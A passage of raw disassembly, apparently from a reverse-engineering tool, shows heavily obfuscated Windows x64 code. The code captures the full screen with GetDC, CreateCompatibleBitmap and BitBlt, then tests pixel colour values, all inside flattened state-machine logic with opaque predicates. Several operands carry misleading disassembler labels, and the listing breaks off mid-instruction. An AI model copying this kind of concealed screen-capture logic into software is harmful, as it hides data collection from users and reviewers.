movsxd rax, dword [rbp + 0x2d0]
movsxd rsi, dword [rbp + 0x2e8]
imul rsi, rax
shl rsi, 2
mov eax, 0xaa15de3c
nop word cs:[rax + rax]
nop
cmp eax, 0xc7200a18
jle 0x14050f550
cmp eax, 0xc7200a19
je 0x14050f568
cmp eax, 0x9cf04b3
je 0x1405115d0
cmp eax, 0x3b8e3028
jne 0x14050f4e0
lea r8, [rbp + 0x258]
mov qword [rbp + 0x330], r8
mov rax, qword [rbp + 0x330]
sub rsp, 0x20
lea rcx, [0x140b85050]
mov rdx, rsi
call fcn.140651120
add rsp, 0x20
mov eax, dword [0x140b86d58]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xc7200a19
mov ecx, 0xb9d304dd
jmp 0x14050f5a9
cmp eax, 0xaa15de3c
je 0x14050f590
cmp eax, 0xb9d304dd
jne 0x14050f4e0
mov eax, 0x9cf04b3
jmp 0x14050f4e0
sub rsp, 0x20
lea rcx, [0x140b85050]
mov rdx, rsi
lea r8, [rbp + 0x258]
call fcn.140651120
add rsp, 0x20
mov eax, 0x3b8e3028
jmp 0x14050f4e0
mov eax, dword [0x140b86d58]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xc7200a19
mov ecx, 0x3b8e3028
cmove eax, ecx
cmp dword [0x140b86d5c], 0xa
cmovl eax, ecx
jmp 0x14050f4e0
movss dword [rbp + 0x330], xmm0
movss xmm0, dword [rbp + 0x330]
mov eax, 0xf9fe2741
jmp 0x140501b1d
lea rdx, [rbp + 0x340]
mov qword [rbp + 0x358], rdx
lea rax, [0x140b84fc8]
mov qword [rbp + 0x330], rax
mov rax, qword [rbp + 0x358]
mov rbx, qword [rbp + 0x330]
mov rbx, qword [rbx]
mov qword [rax], rbx
sub rsp, 0x20
lea r8, [rbp + 0x350]
call fcn.14062f3c0
add rsp, 0x20
mov rax, qword [rbp + 0xe0]
mov rdx, qword [rbp + 0xd8]
mov ecx, 0xd1ea3326
nop dword [rax]
cmp ecx, 0xd1ea3326
je 0x14050f645
cmp ecx, 0x84985c3
jne 0x14050f630
jmp 0x140511699
mov ecx, 0x84985c3
jmp 0x14050f630
movss dword [rbp + 0x330], xmm0
movss xmm0, dword [rbp + 0x330]
movss xmm0, dword [0x140b8503c]
sub rsp, 0x20
call sub.api_ms_win_crt_math_l1_1_0.dll_roundf
add rsp, 0x20
mov eax, 0x6742093e
lea r11, [rbp + 0x338]
nop dword [rax]
cmp eax, 0xed03f61e
jle 0x14050f6a0
cmp eax, 0xed03f61f
je 0x14050f6b3
cmp eax, 0x6742093e
je 0x14050f6b7
cmp eax, 0x5bb003bf
jne 0x14050f680
mov eax, edi
jmp 0x14050f680
cmp eax, 0x9d494a93
je 0x14050f6be
cmp eax, 0xb72ca808
jne 0x14050f680
jmp 0x14051177c
mov eax, esi
jmp 0x14050f680
mov eax, 0x5bb003bf
jmp 0x14050f680
mov eax, 0xed03f61f
jmp 0x14050f680
lea rax, [rbp + 0x350]
mov qword [rbp + 0x358], rax
lea rax, [0x140b84fc0]
mov qword [rbp + 0x330], rax
mov rax, qword [rbp + 0x358]
mov rdx, qword [rbp + 0x330]
mov rdx, qword [rdx]
mov qword [rax], rdx
mov eax, 0x62491ecd
nop word [rax + rax]
cmp eax, 0x62491ecd
je 0x14050f713
cmp eax, 0x9b9dc05c
jne 0x14050f700
jmp 0x140511796
mov eax, 0x9b9dc05c
jmp 0x14050f700
mov r14, rsp
mov eax, edi
shr eax, 0x1f
add eax, edi
sar eax, 1
mov ecx, esi
shr ecx, 0x1f
add ecx, esi
sar ecx, 1
mov dword [rdx], ecx
mov dword [rdx + 4], eax
movabs rax, 0x500000005
mov qword [rdx + 8], rax
mov r15, qword [rbp + 0x40]
mov eax, dword [0x140b86d50]
mov ecx, dword [0x140b86d54]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete byte [rbp + 0x288]
cmp ecx, 0xa
setl byte [rbp + 0x268]
mov eax, 0x4500f030
jmp 0x14050f799
mov eax, dword [0x140b86d50]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xc4752761
mov ecx, 0x593cb922
cmove eax, ecx
cmp dword [0x140b86d54], 0xa
cmovl eax, ecx
cmp eax, 0x1c1c4e6f
jle 0x14050f7f0
cmp eax, 0x4500f02f
jle 0x14050f820
cmp eax, 0x4500f030
je 0x14050f90e
cmp eax, 0x593cb922
jne 0x14050f981
mov rax, qword [rbp + 0x340]
mov qword [rbp + 0x350], rax
mov eax, dword [0x140b86d50]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xc4752761
mov ecx, 0xb1487cd5
jmp 0x14050f78c
cmp eax, 0xf1341a8f
jg 0x14050f840
cmp eax, 0xb1487cd5
je 0x14050f933
cmp eax, 0xc4752761
jne 0x14050f799
mov rax, qword [rbp + 0x340]
mov eax, 0x593cb922
jmp 0x14050f799
cmp eax, 0x1c1c4e70
je 0x14050f773
cmp eax, 0x2735bb15
jne 0x14050f799
mov eax, 0x1c1c4e70
jmp 0x14050f799
cmp eax, 0xf1341a90
je 0x14050f93d
cmp eax, 0xfbf04023
jne 0x14050f799
mov eax, Ordinal_50
call fcn.1406ad960
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x308], rax
mov eax, dword [r15 + 8]
mov dword [rbp + 0x2d0], eax
mov eax, dword [r15 + 0xc]
mov dword [rbp + 0x2e8], eax
mov eax, dword [r15]
mov dword [rbp + 0x280], eax
mov eax, dword [r15 + 4]
mov dword [rbp + 0x278], eax
sub rsp, 0x20
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetDC]
add rsp, 0x20
mov qword [rbp + 0x310], rax
mov rcx, qword [rbp + 0x310]
sub rsp, 0x20
call qword [sym.imp.GDI32.dll_CreateCompatibleDC]
add rsp, 0x20
mov qword [rbp + 0x328], rax
mov edx, dword [rbp + 0x2d0]
mov r8d, dword [rbp + 0x2e8]
mov rcx, qword [rbp + 0x310]
sub rsp, 0x20
call qword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
add rsp, 0x20
mov qword [rbp + 0x340], rax
mov eax, dword [0x140b86d50]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xf1341a90
mov ecx, 0x2735bb15
jmp 0x14050f78c
movzx ecx, byte [rbp + 0x288]
cmp byte [rbp + 0x268], 0
mov eax, 0xf1341a90
mov edx, 0xfbf04023
cmovne eax, edx
test cl, cl
cmovne eax, edx
jmp 0x14050f799
mov eax, 0x7eab2577
jmp 0x14050f799
mov esi, dword [r15 + 8]
mov edi, dword [r15 + 0xc]
sub rsp, 0x20
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetDC]
add rsp, 0x20
mov rbx, rax
sub rsp, 0x20
mov rcx, rax
call qword [sym.imp.GDI32.dll_CreateCompatibleDC]
mov rcx, rbx
mov edx, esi
mov r8d, edi
call qword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
add rsp, 0x20
mov eax, 0xfbf04023
jmp 0x14050f799
cmp eax, 0x7eab2577
jne 0x14050f799
mov rcx, qword [rbp + 0x328]
mov rdx, qword [rbp + 0x350]
sub rsp, 0x20
call qword [sym.imp.GDI32.dll_SelectObject]
add rsp, 0x20
mov rdi, rax
mov r9d, dword [rbp + 0x2d0]
mov eax, dword [rbp + 0x2e8]
mov edx, dword [rbp + 0x280]
mov ebx, dword [rbp + 0x278]
mov rsi, qword [rbp + 0x310]
mov rcx, qword [rbp + 0x328]
sub rsp, 0x50
mov dword [rsp + 0x38], ebx
mov dword [rsp + 0x30], edx
mov qword [rsp + 0x28], rsi
mov dword [rsp + 0x20], eax
mov dword [rsp + 0x40], 0xcc0020
xor edx, edx
xor r8d, r8d
call qword [sym.imp.GDI32.dll_BitBlt]
add rsp, 0x50
mov rax, qword [rbp + 0x308]
movups xmmword [rax], xmm7
movups xmmword [rax + 0x10], xmm7
mov qword [rax + 0x20], 0
mov rax, qword [rbp + 0x308]
mov dword [rax], Ordinal_41
mov rax, qword [rbp + 0x308]
mov word [rax + 0xc], 1
mov rax, qword [rbp + 0x308]
mov word [rax + 0xe], reloc.WLDAP32.dll_Ordinal_32
mov rax, qword [rbp + 0x308]
mov ecx, dword [rbp + 0x2d0]
mov dword [rax + 4], ecx
xor eax, eax
sub eax, dword [rbp + 0x2e8]
mov rcx, qword [rbp + 0x308]
mov dword [rcx + 8], eax
mov rax, qword [rbp + 0x308]
mov dword [rax + 0x10], 0
mov rax, qword [rbp + 0x308]
mov dword [rax + 0x14], 0
movsxd rax, dword [rbp + 0x2d0]
movsxd rsi, dword [rbp + 0x2e8]
imul rsi, rax
shl rsi, 2
mov eax, 0xaa15de3c
nop word cs:[rax + rax]
nop
cmp eax, 0xc7200a18
jle 0x14050fb10
cmp eax, 0xc7200a19
je 0x14050fb28
cmp eax, 0x9cf04b3
je 0x14051180c
cmp eax, 0x3b8e3028
jne 0x14050faa0
lea r8, [rbp + 0x250]
mov qword [rbp + 0x330], r8
mov rax, qword [rbp + 0x330]
sub rsp, 0x20
lea rcx, [0x140b85068]
mov rdx, rsi
call fcn.140651120
add rsp, 0x20
mov eax, dword [0x140b86d58]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xc7200a19
mov ecx, 0xb9d304dd
jmp 0x14050fb69
cmp eax, 0xaa15de3c
je 0x14050fb50
cmp eax, 0xb9d304dd
jne 0x14050faa0
mov eax, 0x9cf04b3
jmp 0x14050faa0
sub rsp, 0x20
lea rcx, [0x140b85068]
mov rdx, rsi
lea r8, [rbp + 0x250]
call fcn.140651120
add rsp, 0x20
mov eax, 0x3b8e3028
jmp 0x14050faa0
mov eax, dword [0x140b86d58]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xc7200a19
mov ecx, 0x3b8e3028
cmove eax, ecx
cmp dword [0x140b86d5c], 0xa
cmovl eax, ecx
jmp 0x14050faa0
movss dword [rbp + 0x330], xmm0
movss xmm0, dword [rbp + 0x330]
movss dword [rbp + 0xa0], xmm0
mov eax, dword [0x140b86d30]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xc2a6d622
mov ecx, 0x9dd29b20
jmp 0x140501b10
mov rax, qword [rbp + 0x180]
mov rax, qword [rbp + 0x170]
mov qword [rbp + 0x330], rax
mov rax, qword [rbp + 0x330]
mov rsp, qword [rbp + 0x160]
sub rsp, 0x20
mov ecx, 1
call rax
lea r11, [rbp + 0x338]
add rsp, 0x20
test ax, ax
sets byte [rbp + 0x1bd]
mov eax, dword [0x140b86d30]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x557d70b8
mov ecx, 0x36b439d6
jmp 0x140501b10
mov eax, 0x587b260
jmp 0x140501b1d
mov rdx, qword [rbp + 0x330]
movzx eax, byte [rdx]
cmp eax, 0x3d
setae r9b
movzx r13d, byte [rdx + 1]
movzx edx, byte [rdx + 2]
cmp edx, 0x69
setae r15b
cmp edx, 0x6e
setae r10b
mov edi, dword [0x140b86d38]
mov esi, dword [0x140b86d3c]
lea ebx, [rdi - 1]
imul ebx, edi
test bl, 1
sete r11b
sete byte [rbp + 0x327]
cmp esi, 0xa
setl byte [rbp + 0x326]
setl r14b
or r14b, r11b
mov ecx, eax
sub ecx, r13d
cmp ecx, 0x3c
setge bl
and bl, r10b
mov byte [rbp + 0x170], bl
mov r8d, edx
sub r8d, r13d
mov edi, edx
sub edi, eax
mov esi, edi
neg esi
mov ebx, edi
cmovge ebx, esi
mov dword [rbp + 0x158], ebx
lea ebx, [r13 - 0xf1]
cmp ebx, 0xe
setb bl
and bl, r9b
mov byte [rbp + 0x160], bl
mov ebx, r13d
add ebx, 0xffffffc3
mov dword [rbp + 0x1dc], ebx
mov dword [rbp + 0x1a8], ecx
cmp ecx, 0x32
setge cl
and cl, r15b
mov byte [rbp + 0x264], cl
mov qword [rbp + 0x1a0], rdi
lea ecx, [rdi + 0x21600fe9]
sub ecx, 0x21600fe9
cmovb ecx, esi
mov dword [rbp + 0x128], ecx
test r14b, r14b
mov ecx, 0xb1c5674e
mov ebx, 0x8d845308
cmovne ecx, ebx
mov dword [rbp + 0x168], ecx
mov ecx, 0xb1c5674e
mov ebx, 0x9ef1d789
cmovne ecx, ebx
mov dword [rbp + 0x120], ecx
mov ecx, 0x11a435f8
mov ebx, 0xb94ead36
cmovne ecx, ebx
mov dword [rbp + 0x1e0], ecx
mov ecx, 0x11a435f8
mov ebx, 0x499fa256
cmovne ecx, ebx
mov dword [rbp + 0x1e4], ecx
mov ecx, 0x4b6a20f7
mov ebx, 0xb98bcaee
cmovne ecx, ebx
mov dword [rbp + 0x2dc], ecx
mov ecx, 0x4b6a20f7
mov ebx, 0x969205f1
cmovne ecx, ebx
mov dword [rbp + 0x2f8], ecx
mov ecx, 0x482aa3f8
mov ebx, 0xbd5e8e9d
cmovne ecx, ebx
mov dword [rbp + 0x2e4], ecx
mov ecx, 0x482aa3f8
mov ebx, 0x495c313e
cmovne ecx, ebx
mov dword [rbp + 0x2bc], ecx
mov ecx, 0x9c02b47a
mov ebx, 0x7344cfcc
cmovne ecx, ebx
mov dword [rbp + 0x1e8], ecx
mov ecx, 0x9c02b47a
mov ebx, 0xb0beb3e4
cmovne ecx, ebx
mov dword [rbp + 0x1ec], ecx
mov ecx, 0x15767053
mov ebx, 0x297f9036
cmovne ecx, ebx
mov dword [rbp + 0x1f0], ecx
mov ecx, 0x15767053
mov ebx, 0x2ad23082
cmovne ecx, ebx
mov dword [rbp + 0x1f4], ecx
mov ecx, 0xf18c4a6a
mov ebx, 0x763ef902
cmovne ecx, ebx
mov dword [rbp + 0x1f8], ecx
mov ecx, 0xf18c4a6a
mov ebx, 0x7b64d6ea
cmovne ecx, ebx
mov dword [rbp + 0x1fc], ecx
mov ecx, 0xfb7d2618
mov ebx, 0x78eecf42
cmovne ecx, ebx
mov dword [rbp + 0x2c0], ecx
mov ecx, 0xfb7d2618
mov ebx, 0xbd39f16e
cmovne ecx, ebx
mov dword [rbp + 0x150], ecx
mov ecx, 0xb4b17505
mov ebx, 0xb1828316
cmovne ecx, ebx
mov dword [rbp + 0x200], ecx
mov ecx, 0xb4b17505
mov ebx, 0x418cdd34
cmovne ecx, ebx
mov dword [rbp + 0x2c4], ecx
mov r15d, 0x96bfffd
mov ebx, 0x140605b2
cmovne r15d, ebx
mov ecx, 0x96bfffd
mov ebx, 0xe7ef058
cmovne ecx, ebx
mov dword [rbp + 0x204], ecx
mov ecx, 0x95314845
mov ebx, 0x2e501a5b
cmovne ecx, ebx
mov dword [rbp + 0x208], ecx
mov ecx, 0x95314845
mov ebx, 0x51bb9d1f
cmovne ecx, ebx
mov dword [rbp + 0x188], ecx
mov r10d, 0x3f2f8547
mov ebx, 0x7a184854
cmovne r10d, ebx
mov ecx, 0x3f2f8547
mov ebx, 0xb05c452f
cmovne ecx, ebx
mov dword [rbp + 0x190], ecx
mov ecx, 0x5a414769
mov ebx, 0x789407d4
cmovne ecx, ebx
mov dword [rbp + 0x198], ecx
mov ecx, 0x5a414769
mov ebx, 0xfc0f9c55
cmovne ecx, ebx
mov dword [rbp + 0x20c], ecx
mov ecx, 0x1cdf725d
mov ebx, 0xb5fe692d
cmovne ecx, ebx
mov dword [rbp + 0x210], ecx
mov ecx, 0x1cdf725d
mov ebx, 0x354076fb
cmovne ecx, ebx
mov dword [rbp + 0x214], ecx
mov edi, 0x6c56cc29
mov ebx, 0x5a36ce4f
cmovne edi, ebx
mov r12d, 0x6c56cc29
mov ebx, 0x464e4f07
cmovne r12d, ebx
mov ecx, 0xaebd2eca
mov ebx, 0xcd6a80a5
cmovne ecx, ebx
mov dword [rbp + 0x218], ecx
mov r14d, 0xaebd2eca
mov ebx, 0xdd066470
cmovne r14d, ebx
mov ecx, 0xabe3e034
mov ebx, 0x2cda350e
cmovne ecx, ebx
mov dword [rbp + 0x21c], ecx
mov ecx, 0xabe3e034
mov ebx, 0xd3059b6f
cmovne ecx, ebx
mov dword [rbp + 0x220], ecx
mov ecx, 0xa3988b66
mov ebx, 0x23d604a4
cmovne ecx, ebx
mov dword [rbp + 0x224], ecx
mov ecx, 0xa3988b66
mov ebx, 0x31f6e81
cmovne ecx, ebx
mov dword [rbp + 0x228], ecx
mov ecx, 0x157c9d26
mov ebx, 0x5a530a53
cmovne ecx, ebx
mov dword [rbp + 0x22c], ecx
mov r9d, 0x157c9d26
mov ebx, 0x31a09e96
cmovne r9d, ebx
mov ecx, 0x1faaa5f6
mov ebx, 0xde8a5085
cmovne ecx, ebx
mov dword [rbp + 0x230], ecx
mov r11d, 0x1faaa5f6
mov esi, 0xd38d4b5c
cmovne r11d, esi
mov ecx, 0x267d1724
mov esi, 0xba345fbc
cmovne ecx, esi
mov dword [rbp + 0x234], ecx
mov ecx, 0x267d1724
mov esi, 0xb7ee4958
cmovne ecx, esi
mov dword [rbp + 0x238], ecx
mov ecx, 0x57b3b530
mov esi, 0x23a18588
cmovne ecx, esi
mov dword [rbp + 0x23c], ecx
mov ecx, 0x57b3b530
mov esi, 0x5d8c7d4f
cmovne ecx, esi
mov dword [rbp + 0x240], ecx
mov ecx, 0x680ab117
mov esi, 0xb15b1a2e
cmovne ecx, esi
mov dword [rbp + 0x244], ecx
mov ecx, 0x680ab117
mov esi, 0x89b66e65
cmovne ecx, esi
mov dword [rbp + 0x248], ecx
mov ecx, 0xc560a85d
mov esi, 0xc79ad12f
cmovne ecx, esi
mov dword [rbp + 0x24c], ecx
mov ebx, 0xa73577fc
jmp 0x140510070
mov ebx, 0x9ef63166
nop word cs:[rax + rax]
nop dword [rax]
mov esi, ebx
cmp ebx, 0xff0c2dfe
jg 0x140510110
cmp esi, 0xb98bcaed
jg 0x140510190
cmp esi, 0xa82ebe36
jg 0x140510270
cmp esi, 0x9a36c244
jle 0x1405103e2
cmp esi, 0xa0d53e63
jle 0x14051065b
cmp esi, 0xa4c5bbcc
jle 0x1405109b7
cmp esi, 0xa4c5bbcd
je 0x140510f35
mov ebx, dword [rbp + 0x188]
cmp esi, 0xa61e6778
je 0x140510070
mov ebx, esi
cmp esi, 0xa73577fc
jne 0x140510070
movzx ebx, byte [rbp + 0x327]
cmp byte [rbp + 0x326], 0
mov esi, 0xc560a85d
mov ecx, 0x77da8017
cmovne esi, ecx
test bl, bl
cmovne esi, ecx
mov ebx, esi
jmp 0x140510070
cmp esi, 0x3f2f8546
jg 0x140510200
cmp esi, 0x20103660
jg 0x1405102d6
cmp esi, 0x135fcc3a
jg 0x140510431
cmp esi, 0x96bfffc
jle 0x140510698
cmp esi, 0xe7ef057
jle 0x1405109db
mov ebx, r15d
cmp esi, 0xe7ef058
je 0x140510070
mov ebx, r11d
cmp esi, 0x11825857
je 0x140510070
mov ebx, esi
cmp esi, 0x11a435f8
jne 0x140510070
mov ebx, 0x499fa256
jmp 0x140510070
cmp esi, 0xe7809c39
jg 0x14051032a
cmp esi, 0xd033cd79
jg 0x14051047f
cmp esi, 0xbdc64e87
jle 0x1405106c9
cmp esi, 0xc79ad12e
jle 0x140510a0a
cmp esi, 0xc79ad12f
je 0x140510f4c
mov ebx, r12d
cmp esi, 0xca8a3dae
je 0x140510070
mov ebx, esi
cmp esi, 0xcd6a80a5
jne 0x140510070
mov ebx, 0xca8a3dae
jmp 0x140510070
cmp esi, 0x5d29121f
jg 0x14051037f
cmp esi, 0x4a0180ff
jg 0x1405104c8
cmp esi, 0x464e4f06
jle 0x1405106f9
cmp esi, 0x48c9fc5e
jle 0x140510a2e
cmp esi, 0x48c9fc5f
je 0x140510f56
mov ebx, dword [rbp + 0x2e4]
cmp esi, 0x495c313e
je 0x140510070
mov ebx, esi
cmp esi, 0x499fa256
jne 0x140510070
cmp al, 0x64
setae byte [rbp + 0x310]
mov ebx, dword [rbp + 0x1e0]
jmp 0x140510070
cmp esi, 0xb1828315
jg 0x14051051f
cmp esi, 0xaebd2ec9
jle 0x14051072a
cmp esi, 0xb05c452e
jle 0x140510a54
mov ebx, r10d
cmp esi, 0xb05c452f
je 0x140510070
cmp esi, 0xb0beb3e4
je 0x140510f74
mov ebx, esi
cmp esi, 0xb15b1a2e
jne 0x140510070
cmp byte [rbp + 0x325], 0
mov ebx, 0x2798cef7
mov ecx, 0xf301ab8e
cmovne ebx, ecx
jmp 0x140510070
cmp esi, 0x2d4b429c
jg 0x140510567
cmp esi, 0x267d1723
jle 0x14051075a
cmp esi, 0x297f9035
jle 0x140510a79
cmp esi, 0x297f9036
je 0x140510f96
cmp esi, 0x2ad23082
je 0x140510fa0
mov ebx, esi
cmp esi, 0x2cda350e
jne 0x140510070
mov ebx, 0x3577c1f2
jmp 0x140510070
cmp esi, 0xef53f9e5
jg 0x1405105c4
cmp esi, 0xe9dbd22d
jle 0x140510795
cmp esi, 0xead3e303
jle 0x140510a9e
cmp esi, 0xead3e304
je 0x14051005e
cmp esi, 0xeaeb4fd4
je 0x140510fb8
mov ebx, esi
cmp esi, 0xece27445
jne 0x140510070
mov ebx, dword [rbp + 0x214]
jmp 0x140510070
cmp esi, 0x751c860d
jg 0x140510612
cmp esi, 0x6c56cc28
jle 0x1405107c6
cmp esi, 0x709a45ba
jle 0x140510ac9
cmp esi, 0x709a45bb
je 0x140510fc2
cmp esi, 0x70a3a0c7
je 0x140510fd7
mov ebx, esi
cmp esi, 0x7344cfcc
jne 0x140510070
cmp byte [rbp + 0x280], 0
mov ebx, 0xff0c2dff
mov ecx, 0x22128fff
cmovne ebx, ecx
jmp 0x140510070
cmp esi, 0x8d845307
jle 0x1405107f7
cmp esi, 0x95314844
jle 0x140510aee
cmp esi, 0x95314845
je 0x140510fea
mov ebx, dword [rbp + 0x2dc]
cmp esi, 0x969205f1
je 0x140510070
mov ebx, esi
cmp esi, 0x99deb36c
jne 0x140510070
mov ebx, dword [rbp + 0x204]
jmp 0x140510070
cmp esi, 0x15767052
jle 0x140510836
cmp esi, 0x1a7bb6b2
jle 0x140510b12
cmp esi, 0x1a7bb6b3
je 0x140510ff4
cmp esi, 0x1cdf725d
je 0x14051100d
mov ebx, esi
cmp esi, 0x1faaa5f6
jne 0x140510070
mov esi, dword [rbp + 0x328]
mov ebx, 0xd38d4b5c
jmp 0x140510070
cmp esi, 0xd5b57953
jle 0x14051087b
cmp esi, 0xdd06646f
jle 0x140510b3c
cmp esi, 0xdd066470
je 0x140511017
cmp esi, 0xde8a5085
je 0x140511029
mov ebx, esi
cmp esi, 0xe335676c
jne 0x140510070
mov ebx, dword [rbp + 0x120]
jmp 0x140510070
cmp esi, 0x57b3b52f
jle 0x1405108b6
cmp esi, 0x5a36ce4e
jle 0x140510b6d
cmp esi, 0x5a36ce4f
je 0x140511042
cmp esi, 0x5a414769
je 0x14051105b
mov ebx, esi
cmp esi, 0x5a530a53
jne 0x140510070
cmp byte [rbp + 0x31f], 0
mov ebx, 0x576b74ae
mov ecx, 0xd1dca56c
cmovne ebx, ecx
jmp 0x140510070
cmp esi, 0xb4b17504
jle 0x1405108e9
cmp esi, 0xb6fd862c
jle 0x140510b92
cmp esi, 0xb6fd862d
je 0x140511065
cmp esi, 0xb7ee4958
je 0x14051106f
mov ebx, esi
cmp esi, 0xb94ead36
jne 0x140510070
mov ebx, 0x20103661
jmp 0x140510070
cmp esi, 0x34249237
jle 0x14051091a
cmp esi, 0x3577c1f1
jle 0x140510bbd
cmp esi, 0x3577c1f2
je 0x140511086
mov ebx, dword [rbp + 0x2f8]
cmp esi, 0x39498194
je 0x140510070
mov ebx, esi
cmp esi, 0x39b2a750
jne 0x140510070
cmp byte [rbp + 0x323], 0
mov ebx, 0xef53f9e6
mov ecx, 0xb18758be
cmovne ebx, ecx
jmp 0x140510070
cmp esi, 0xf3c53d86
jle 0x140510950
cmp esi, 0xfb7d2617
jle 0x140510be2
cmp esi, 0xfb7d2618
je 0x14051109f
mov ebx, dword [rbp + 0x198]
cmp esi, 0xfc0f9c55
je 0x140510070
mov ebx, esi
cmp esi, 0xfe617dad
jne 0x140510070
mov ebx, 0x9ef63166
jmp 0x140510070
cmp esi, 0x789407d3
jle 0x140510980
cmp esi, 0x78eecf41
jle 0x140510c0d
cmp esi, 0x78eecf42
je 0x1405110a9
cmp esi, 0x7a184854
je 0x1405110c2
mov ebx, esi
cmp esi, 0x7b64d6ea
jne 0x140510070
mov ebx, dword [rbp + 0x1f8]
jmp 0x140510070
cmp esi, 0x9d594587
jle 0x140510c32
cmp esi, 0x9d594588
je 0x1405110cc
mov ebx, dword [rbp + 0x168]
cmp esi, 0x9ef1d789
je 0x140510070
mov ebx, esi
cmp esi, 0x9ef63166
je 0x1405118d9
jmp 0x140510070
cmp esi, 0x30c0ef1
jg 0x140510c5c
cmp esi, 0xff0c2dff
je 0x1405110dd
mov ebx, esi
cmp esi, 0x90eefd
jne 0x140510070
mov ebx, dword [rbp + 0x248]
jmp 0x140510070
cmp esi, 0xbd39f16d
jg 0x140510c99
cmp esi, 0xb98bcaee
je 0x1405110e7
mov ebx, esi
cmp esi, 0xba345fbc
jne 0x140510070
mov ebx, 0x11825857
jmp 0x140510070
cmp esi, 0x418cdd33
jg 0x140510cd2
cmp esi, 0x3f2f8547
je 0x140511100
mov ebx, esi
cmp esi, 0x3ff59037
jne 0x140510070
mov ebx, dword [rbp + 0x20c]
jmp 0x140510070
cmp esi, 0xac78743a
jg 0x140510d05
cmp esi, 0xa82ebe37
je 0x14051110a
mov ebx, esi
cmp esi, 0xabe3e034
jne 0x140510070
mov ebx, 0xd3059b6f
jmp 0x140510070
cmp esi, 0x23a18587
jg 0x140510d38
cmp esi, 0x20103661
je 0x140511120
mov ebx, esi
cmp esi, 0x22128fff
jne 0x140510070
cmp r8d, 0x5a
setge byte [rbp + 0x278]
mov ebx, 0x135fcc3b
jmp 0x140510070
cmp esi, 0xe83f3e86
jg 0x140510d5c
cmp esi, 0xe7809c3a
je 0x140511131
mov ebx, esi
cmp esi, 0xe7d3c6de
jne 0x140510070
mov ebx, dword [rbp + 0x240]
jmp 0x140510070
cmp esi, 0x5f31b9d3
jg 0x140510d8f
cmp esi, 0x5d291220
je 0x14051113b
mov ebx, esi
cmp esi, 0x5d8c7d4f
jne 0x140510070
mov ebx, dword [rbp + 0x23c]
jmp 0x140510070
cmp esi, 0x895fd78a
jg 0x140510db3
cmp esi, 0x8402cefa
je 0x140511161
mov ebx, esi
cmp esi, 0x86220d5d
jne 0x140510070
cmp byte [rbp + 0x268], 0
mov ebx, 0xe7809c3a
mov esi, 0xd5b57954
cmovne ebx, esi
jmp 0x140510070
cmp esi, 0x14395eed
jg 0x140510de2
mov ebx, dword [rbp + 0x2bc]
cmp esi, 0x135fcc3b
je 0x140510070
mov ebx, esi
cmp esi, 0x140605b2
jne 0x140510070
cmp byte [rbp + 0x288], 0
mov ebx, 0x6ceae5d9
mov ecx, 0x5f31b9d4
cmovne ebx, ecx
jmp 0x140510070
cmp esi, 0xd3059b6e
jg 0x140510e23
cmp esi, 0xd033cd7a
je 0x14051005e
mov ebx, esi
cmp esi, 0xd1dca56c
jne 0x140510070
cmp r8d, 0x32
setge byte [rbp + 0x31e]
mov ebx, 0xae960d74
jmp 0x140510070
cmp esi, 0x51bb9d1e
jg 0x140510e58
mov ebx, r9d
cmp esi, 0x4a018100
je 0x140510070
mov ebx, esi
cmp esi, 0x4b6a20f7
jne 0x140510070
mov ebx, 0x969205f1
jmp 0x140510070
cmp esi, 0xb1c5674d
jg 0x140510e7c
cmp esi, 0xb1828316
je 0x140511178
mov ebx, esi
cmp esi, 0xb18758be
jne 0x140510070
mov ebx, dword [rbp + 0x238]
jmp 0x140510070
cmp esi, 0x2f9cfbc0
jg 0x140510ea9
mov ebx, dword [rbp + 0x150]
cmp esi, 0x2d4b429d
je 0x140510070
mov ebx, esi
cmp esi, 0x2e501a5b
jne 0x140510070
mov ebx, 0x99deb36c
jmp 0x140510070
cmp esi, 0xf301ab8d
jg 0x140510ee5
cmp esi, 0xef53f9e6
je 0x140511182
mov ebx, esi
cmp esi, 0xf18c4a6a
jne 0x140510070
mov ebx, 0x7b64d6ea
jmp 0x140510070
cmp esi, 0x76851f02
jg 0x140510f10
cmp esi, 0x751c860e
je 0x140511199
mov ebx, esi
cmp esi, 0x763ef902
jne 0x140510070
movzx ebx, byte [rbp + 0x2e8]
mov ebx, 0xe7809c3a
jmp 0x140510070
cmp esi, 0xa0d53e64
je 0x1405111b4
mov ebx, esi
cmp esi, 0xa3988b66
jne 0x140510070
mov ebx, 0x31f6e81
jmp 0x140510070
cmp esi, 0x96bfffd
je 0x1405111db
mov ebx, esi
cmp esi, 0xad1060d
jne 0x140510070
cmp r13b, 0x78
setae byte [rbp + 0x323]
mov ebx, 0x39b2a750
jmp 0x140510070
cmp esi, 0xbdc64e88
je 0x1405111e5
mov ebx, esi
cmp esi, 0xc560a85d
jne 0x140510070
mov ebx, 0x77da8017
jmp 0x140510070
mov ebx, edi
cmp esi, 0x464e4f07
je 0x140510070
mov ebx, esi
cmp esi, 0x482aa3f8
jne 0x140510070
mov ebx, 0x495c313e
jmp 0x140510070
cmp esi, 0xaebd2eca
je 0x1405111f8
mov ebx, esi
cmp esi, 0xb02114d0
jne 0x140510070
mov ebx, dword [rbp + 0x1ec]
jmp 0x140510070
cmp esi, 0x267d1724
je 0x140511202
mov ebx, esi
cmp esi, 0x2798cef7
jne 0x140510070
mov ebx, dword [rbp + 0x220]
jmp 0x140510070
cmp esi, 0xe9dbd22e
je 0x14051120c
mov ebx, esi
cmp esi, 0xead08fc7
jne 0x140510070
mov byte [rbp + 0x2c8], 0
mov ebx, 0x1a7bb6b3
jmp 0x140510070
cmp esi, 0x6c56cc29
je 0x14051122a
mov ebx, esi
cmp esi, 0x6ceae5d9
